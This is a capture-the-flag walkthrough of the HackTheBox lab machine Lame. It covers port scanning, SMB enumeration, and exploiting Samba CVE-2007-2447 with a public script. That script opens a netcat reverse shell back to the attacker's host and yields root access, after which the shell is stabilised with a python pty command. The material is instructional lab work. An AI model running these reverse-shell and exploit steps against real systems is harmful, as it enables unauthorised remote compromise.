Lame

Platform: HackTheBox | Difficulty: Easy | OS: Linux Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Lame (Linux). Foothold via CVE-2007-2447, rce, smb; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -O -sVC 10.10.10.3

Enumeration highlights

• Detected OS: Linux.
• Scan used: nmap -p- -sV -O -sVC 10.10.10.3.

Foothold

Vulnerability / Misconfiguration

1. First, run nmap to the machine's host, so we can see all open ports and the service's running.

 sh read-only • copy allowed Copy
nmap -p- -sV -O -sVC 10.10.10.3

1. Notice there's 2 ports that might be running some type of network shares. Not only that, we're allowed to login in ftp as anonymous.

2. Now let's login with ftp.

3. Let's check are there any files or directories.

4. Got nothing.

5. Now let's do SMB enumeration.

 sh read-only • copy allowed Copy
smbmap -H 10.10.10.3

1. Notice there's 2 different directories than the others -> tmp, opt (doesn't have any dollar sign).

NOTES:

tmp and opt doesn't have any dollar sign, means it can be accessed by regular use privileges.

1. Since only tmp directory with permissions to read and write, means tmp shall be our interest now. But the problem is we don't have any user credentials for this tmp directory.
2. Even though it's open here, but still we need user credentials to login to it.
3. Now let's use search split to potentially see if there's an exploit associated with the service version of samba that's running on this machine.

 sh read-only • copy allowed Copy
searchsploit samba 3.0.2

1. Based from the first output.

2. We can use metasploit, but let's not use that tools, we want to dive in manually, let's start by find where this exploit stored on our kali linux (THE CVE NUMBER).

 sh read-only • copy allowed Copy
cat /usr/share/exploitdb/exploits/unix/remote/16320.rb | grep CVE

1. Let's jump to the url given.

2. Based on the samba documentation, we know that there's a configuration option which is not enabled by default and it can lead to RCE.

3. Anyway when searched the CVE number at google, i found this github repository.

https://github.com/amriunix/CVE-2007-2447

1. Before run the script, run nc -nlvp 4444 so we can grab the reverse shell spawned by listening.
2. Next run this payload:

python3 usermap_script.py 10.10.10.3 139 10.10.14.4 4444

1. Let's type id and whoami.

2. We are root, that's great! We don't need privilege escalation then to solve this challenge.

3. The next thing to do now is to stabilize our shell first.

4. Let's run this python command:

 py read-only • copy allowed Copy
python -c 'import pty; pty.spawn("/bin/sh")'

1. Now let's list all files or directories inside the machine.

2. Jump to the root directory.

3. Cat the root.txt file.

4. Got the flag!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

GET THE USER.TXT FILE

1. Simply go to home directory. Then go to makis.

2. Cat the .txt file.

3. User owned!

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.